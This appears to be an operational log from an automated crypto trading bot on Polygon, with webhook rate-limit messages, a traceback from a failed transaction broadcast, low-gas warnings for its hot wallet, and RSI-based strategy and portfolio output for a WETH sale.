Webhook rate limited: sleeping for 1.45 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.48 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.38 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.49 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.38 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.47 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 0.73 seconds...
Task queue depth is 1
Task queue depth is 1
Webhook rate limited: sleeping for 1.45 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.46 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.37 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.47 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.32 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.50 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.51 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.49 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.28 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.50 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.38 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.50 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.33 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.36 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.39 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.46 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.48 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.37 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.35 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.26 seconds...
Task queue depth is 1
Task queue depth is 1
Webhook rate limited: sleeping for 0.96 seconds...
Task queue depth is 1
Webhook rate limited: sleeping for 1.85 seconds...
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Webhook rate limited: sleeping for 0.45 seconds...
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 2
Task queue depth is 2
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Task queue depth is 1
Main loop terminated. Entering to the web server wait mode. Run-time version was:
Trade-executor Docker version: v1202
Commit hash: 35da34e3e18557938fa240d467d12243cbda6436
Commit message: Bump vault metadata
LiveSchedulingTaskFailed('trade-executor closed because one of the scheduled tasks failed')
Traceback (most recent call last): (23 lines)
File "/usr/src/trade-executor/deps/web3-ethereum-defi/eth_defi/confirmation.py", line 418, in _broadcast_multiple_nodes web3.eth.send_raw_transaction(raw_bytes) File "/usr/local/lib/python3.11/site-packages/web3/eth/eth.py", line 396, in send_raw_transaction return self._send_raw_transaction(transaction) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/web3/module.py", line 75, in caller result = w3.manager.request_blocking( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/web3/manager.py", line 330, in request_blocking return self.formatted_response( ^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/web3/manager.py", line 293, in formatted_response raise ValueError(error) ValueError: {'message': 'already known', 'code': -32000} The above exception was the direct cause of the following exception: Traceback (most recent call last): File "/usr/src/trade-executor/tradeexecutor/cli/loop.py", line 1283, in live_cycle universe = self.tick( ^^^^^^^^^^ File "/usr/src/trade-executor/tradeexecutor/cli/loop.py", line 505, in tick self.runner.tick( File "/usr/src/trade-executor/tradeexecutor/strategy/runner.py", line 899, in tick self.execution_model.execute_trades( File "/usr/src/trade-executor/tradeexecutor/ethereum/execution.py", line 605, in execute_trades self.broadcast_and_resolve_multiple_nodes( File "/usr/src/trade-executor/tradeexecutor/ethereum/execution.py", line 539, in broadcast_and_resolve_multiple_nodes receipts = wait_and_broadcast_multiple_nodes( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/src/trade-executor/deps/web3-ethereum-defi/eth_defi/confirmation.py", line 810, in wait_and_broadcast_multiple_nodes raise last_exception File "/usr/src/trade-executor/deps/web3-ethereum-defi/eth_defi/confirmation.py", line 681, in wait_and_broadcast_multiple_nodes _broadcast_multiple_nodes(providers, tx) File "/usr/src/trade-executor/deps/web3-ethereum-defi/eth_defi/confirmation.py", line 472, in _broadcast_multiple_nodes raise ValueError(f"Does not know how to handle error: {e}\nTx: {tx_hash}, nonce {nonce}, address {address}, see logs for further details") from e ValueError: Does not know how to handle error: {'message': 'already known', 'code': -32000} Tx: 0x86096a937fdb8217f782212c550d6dc6f4c547672f77700458c9c68d7d1d703d, nonce 79, address 0x69960a0E963Ba6800A87980D4239A60fF7EC5e6e, see logs for further details The above exception was the direct cause of the following exception: Traceback (most recent call last): File "/usr/src/trade-executor/tradeexecutor/cli/commands/start.py", line 599, in start loop.run_with_state(state) File "/usr/src/trade-executor/tradeexecutor/cli/loop.py", line 1571, in run_with_state return self.run_live(state) ^^^^^^^^^^^^^^^^^^^^ File "/usr/src/trade-executor/tradeexecutor/cli/loop.py", line 1467, in run_live raise LiveSchedulingTaskFailed("trade-executor closed because one of the scheduled tasks failed") from crash_exception tradeexecutor.cli.loop.LiveSchedulingTaskFailed: trade-executor closed because one of the scheduled tasks failedHot wallet running low on gas money.
Hot wallet address 0x69960a0E963Ba6800A87980D4239A60fF7EC5e6e, gas is 22.545177633322968 tokens, warning level is 25 native tokens.
trade-executor enzyme-polygon-matic-eth-usdc execution loop crashed
ValueError("Does not know how to handle error: {'message': 'already known', 'code': -32000}\nTx: 0x86096a937fdb8217f782212c550d6dc6f4c547672f77700458c9c68d7d1d703d, nonce 79, address 0x69960a0E963Ba6800A87980D4239A60fF7EC5e6e, see logs for further details")
Traceback (most recent call last): (17 lines)
File "/usr/src/trade-executor/deps/web3-ethereum-defi/eth_defi/confirmation.py", line 418, in _broadcast_multiple_nodes web3.eth.send_raw_transaction(raw_bytes) File "/usr/local/lib/python3.11/site-packages/web3/eth/eth.py", line 396, in send_raw_transaction return self._send_raw_transaction(transaction) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/web3/module.py", line 75, in caller result = w3.manager.request_blocking( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/web3/manager.py", line 330, in request_blocking return self.formatted_response( ^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/python3.11/site-packages/web3/manager.py", line 293, in formatted_response raise ValueError(error) ValueError: {'message': 'already known', 'code': -32000} The above exception was the direct cause of the following exception: Traceback (most recent call last): File "/usr/src/trade-executor/tradeexecutor/cli/loop.py", line 1283, in live_cycle universe = self.tick( ^^^^^^^^^^ File "/usr/src/trade-executor/tradeexecutor/cli/loop.py", line 505, in tick self.runner.tick( File "/usr/src/trade-executor/tradeexecutor/strategy/runner.py", line 899, in tick self.execution_model.execute_trades( File "/usr/src/trade-executor/tradeexecutor/ethereum/execution.py", line 605, in execute_trades self.broadcast_and_resolve_multiple_nodes( File "/usr/src/trade-executor/tradeexecutor/ethereum/execution.py", line 539, in broadcast_and_resolve_multiple_nodes receipts = wait_and_broadcast_multiple_nodes( ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/src/trade-executor/deps/web3-ethereum-defi/eth_defi/confirmation.py", line 810, in wait_and_broadcast_multiple_nodes raise last_exception File "/usr/src/trade-executor/deps/web3-ethereum-defi/eth_defi/confirmation.py", line 681, in wait_and_broadcast_multiple_nodes _broadcast_multiple_nodes(providers, tx) File "/usr/src/trade-executor/deps/web3-ethereum-defi/eth_defi/confirmation.py", line 472, in _broadcast_multiple_nodes raise ValueError(f"Does not know how to handle error: {e}\nTx: {tx_hash}, nonce {nonce}, address {address}, see logs for further details") from e ValueError: Does not know how to handle error: {'message': 'already known', 'code': -32000} Tx: 0x86096a937fdb8217f782212c550d6dc6f4c547672f77700458c9c68d7d1d703d, nonce 79, address 0x69960a0E963Ba6800A87980D4239A60fF7EC5e6e, see logs for further detailsNew trades to be executed
Sell #82 WETH-USDC v:$4,338.99 p:$2,105.9177/WETH q:2.060378220096665932 WETH , 100.00% of existing position #24
Existing position: <Open position #24 <Pair WETH-USDC spot_market_hold at 0x45dda9cb7c25131df268515131f647d726f50608 (0.0500% fee) on exchange uniswap-v3> $4338.987054>, with pre-trade balance: 2.060378220096665932
Trading pair link: https://tradingstrategy.ai/trading-view/polygon/uniswap-v3/eth-usdc-fee-5
Strategy thinking
Strategy cycle #1881: 2026-04-07 00:00:00 UTC, now is 2026-04-07 00:08:43.155310
WETH / USDC
Last candle at: 2026-04-07 00:00:00 UTC, market data and action lag: 0 days 00:08:43.156809
Price open:2107.8420528012525
Close:2114.8090724905514
WMATIC / USDC
Last candle at: 2026-04-07 00:00:00 UTC, market data and action lag: 0 days 00:08:43.157419
Price open:0.09006019542279388
Close:0.09024951107942611
RSI MATIC: 42.777251483502155
RSI low trigger: 55.0
RSI high trigger: 80.0
RSI ETH: 54.606083852995305
MemoryIndicatorStorage does not support multiprocessing, setting max_workers and max_readers to 1
Portfolio status (before rebalance), tick #1881
Total equity: $4,438.23, in cash: $99.24
Life-time positions: 24, trades: 81
…
Currently open positions:
🌲 #24 WETH-USDC spot value: $4,338.99, 0.98% of portfolio
profit: 0.00 % (4,338.9871 USD), just opened
…
Reserves:
99.24 USDC
Performing strategy tick #1881 for timestamp 2026-04-07 00:00:00, cycle length is 8h, trigger time was 2026-04-07 00:08:00.000545, live trading is True, trading univese is None, version 0.5, max cycles None
Hot wallet running low on gas money.
Hot wallet address 0x69960a0E963Ba6800A87980D4239A60fF7EC5e6e, gas is 22.61787134716372 tokens, warning level is 25 native tokens.
Hot wallet running low on gas money.
Hot wallet address 0x69960a0E963Ba6800A87980D4239A60fF7EC5e6e, gas is 22.61787134716372 tokens, warning level is 25 native tokens.